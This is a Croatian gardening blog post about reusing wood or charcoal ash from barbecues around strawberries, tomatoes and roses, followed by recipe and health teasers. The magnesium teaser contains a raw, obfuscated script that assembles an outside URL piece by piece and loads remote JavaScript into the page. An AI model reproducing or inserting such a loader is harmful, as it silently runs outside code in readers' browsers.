ZAŠTO NE BACATI PEPEO NAKON ROŠTILJANJA?




Zašto ne bacati pepeo nakon roštiljanja?




Sezona roštiljanja ponovno je u punom zamahu. Topliji dani i duže večeri znače više druženja na otvorenom, a mnogi će tijekom ljeta barem nekoliko puta zapaliti roštilj u vrtu ili na terasi. No, dok se većina nakon završetka druženja fokusira na čišćenje rešetki i pospremanje ostataka hrane, jedan nusproizvod roštiljanja gotovo uvijek završava u smeću, pepeo.




Jagode će imati koristi od bolje drenaže

Među biljkama koje mogu profitirati od umjerene količine drvenog pepela nalaze se i jagode. Ove omiljene ljetne voćke najbolje uspijevaju u dobro dreniranom tlu koje nije previše zbijeno. Dodavanje manje količine pepela u kompost ili zemlju prije sadnje može pomoći u rahljenju tla, osobito ako je riječ o težim glinenim podlogama koje zadržavaju višak vlage. Time se poboljšava protok zraka oko korijena i smanjuje opasnost od truljenja biljaka.

Jagode preferiraju pH vrijednost tla između 5,5 i 7,0, što znači da mogu podnijeti blago kisela do blago alkalna tla. Upravo zato pepeo može biti koristan dodatak, ali samo ako se koristi umjereno i uz prethodnu provjeru stanja tla.

Rajčice su među najpopularnijim kulturama u kućnim vrtovima, a mnogi vrtlari neprestano traže načine kako povećati urod i dobiti zdravije plodove. Pepeo može pomoći upravo zbog visokog udjela kalija, jednog od najvažnijih elemenata za razvoj plodova. Osim toga, doprinosi poboljšanju strukture tla i omogućuje bolju drenažu, što je posebno važno za rajčice koje ne podnose dugotrajno zadržavanje vode oko korijena.



Ruže vole dodatne minerale

Ljubitelji ruža također bi mogli pronaći korisnu primjenu za pepeo s roštilja. Ove biljke zahtijevaju tlo bogato hranjivim tvarima kako bi tijekom cijele sezone razvijale zdrave listove i obilje cvjetova. Većina sorti ruža uspijeva u tlu čija se pH vrijednost kreće između 6,0 i 8,0. Ako analiza pokaže da je tlo previše kiselo, manje količine drvenog pepela mogu pomoći u njegovoj korekciji.

Osim što osigurava dodatne minerale, pepeo može djelovati i kao blaga zaštita od nekih vrtnih štetnika. Zbog toga ga mnogi vrtlari povremeno koriste oko ružinih grmova, posebno tijekom toplijih mjeseci, a za biljke se smije koristiti isključivo pepeo dobiven izgaranjem prirodnog drva ili kvalitetnog drvenog ugljena bez kemijskih dodataka. Pepeo nastao korištenjem briketa s aditivima, tekućina za potpalu ili drugih kemijskih sredstava može sadržavati tvari koje štete tlu i biljkama te ga nije dobro koristiti u istu svrhu.

Također, ne preporučuje se korištenje pepela koji je bio u kontaktu s većim količinama masnoće tijekom pečenja jer može sadržavati spojeve koji nisu poželjni u vrtu, a oko biljaka koje vole kisela tla, poput borovnica, rododendrona, azaleja ili hortenzija, ne bi se trebao koristiti uopće jer bi mogao poremetiti uvjete potrebne za njihov rast.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više